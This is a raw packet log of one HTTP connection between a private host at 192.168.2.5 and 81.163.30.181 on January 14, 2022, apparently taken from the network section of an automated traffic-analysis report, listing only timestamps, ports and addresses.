Jan 14, 2022 21:05:47.957462072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957487106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957511902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957529068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957535028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957568884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957583904 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957607031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957632065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957645893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957653999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957685947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957700968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957726002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957751036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957767010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957776070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957808018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957822084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957845926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957873106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957906961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957937002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957947016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.957961082 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.957984924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958003044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958024979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958034039 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958065987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958090067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958103895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958120108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958146095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958164930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958187103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958209038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958235025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958246946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958275080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958287954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958314896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958327055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958354950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958360910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958396912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958404064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958434105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.958446980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.958487034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017138958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017191887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017226934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017240047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017263889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017273903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017280102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017301083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017337084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017339945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017352104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017378092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017394066 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017412901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017430067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017451048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017463923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017488003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017513037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017525911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017538071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017564058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017576933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017601013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017616034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017637968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.017652035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017688036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.017971992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018007040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018038034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018043041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018069029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018095016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018121958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018129110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018146038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018166065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018192053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018204927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018239975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018254042 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018275023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018276930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018310070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018313885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018338919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018349886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018381119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018387079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018415928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018424034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018457890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018462896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018476009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018501997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018526077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018537998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018567085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018574953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018594980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018610954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018635988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018646002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018668890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018683910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018706083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018721104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018745899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018759012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018785000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018796921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018824100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018832922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018857956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018868923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018882036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018906116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018920898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018942118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018959045 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.018979073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.018994093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019016027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019032955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019053936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019068956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019090891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019110918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019126892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019154072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019181967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019198895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019224882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019263029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019298077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019324064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019331932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019370079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019393921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019397974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019413948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019418955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019433022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019447088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019463062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019470930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019478083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019506931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.019536018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.019546986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076200008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076244116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076284885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076288939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076324940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076324940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076329947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076364040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076385021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076405048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076431036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076445103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076462030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076484919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076507092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076533079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076567888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076570034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076608896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076647997 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076647997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076677084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076688051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076719046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076729059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076744080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076770067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076785088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076811075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076837063 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076852083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076870918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076890945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076905012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076931953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076948881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.076976061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.076989889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077013016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077040911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077059031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077059984 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077097893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077111959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077126026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077148914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077167034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077167988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077207088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077222109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077248096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077267885 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077287912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077302933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077327967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077343941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077368975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077394009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077406883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077421904 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077449083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077465057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077491045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077497959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077531099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077544928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077570915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077580929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077610970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077626944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077650070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077663898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077691078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077707052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077730894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077738047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077770948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077785015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077811003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077826023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077871084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077873945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077913046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077930927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077953100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.077980995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.077992916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.078006029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.078032970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.078049898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.078073978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.078078985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.078110933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.078125954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.078150988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.078157902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.078191042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.078206062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.078243971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.137424946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.137510061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.137511969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.137566090 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.137614012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.137660980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.137686014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.137741089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.137759924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.137808084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.137903929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.137948990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.137972116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.137989044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138004065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138030052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138048887 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138070107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138078928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138109922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138129950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138151884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138168097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138192892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138211012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138231039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138258934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138269901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138284922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138310909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138326883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138351917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138382912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138401031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138410091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138442039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138463974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138488054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138526917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138561964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138592958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138637066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138658047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138681889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138731003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138740063 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138780117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138783932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138812065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138825893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138839960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138870955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138887882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138912916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138920069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138952971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.138974905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.138992071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139013052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139033079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139071941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139072895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139086008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139110088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139122963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139149904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139167070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139189959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139211893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139247894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139264107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139290094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139338970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139341116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139381886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139385939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139424086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139429092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139457941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139470100 CET	80	49882	81.163.30.181	192.168.2.5
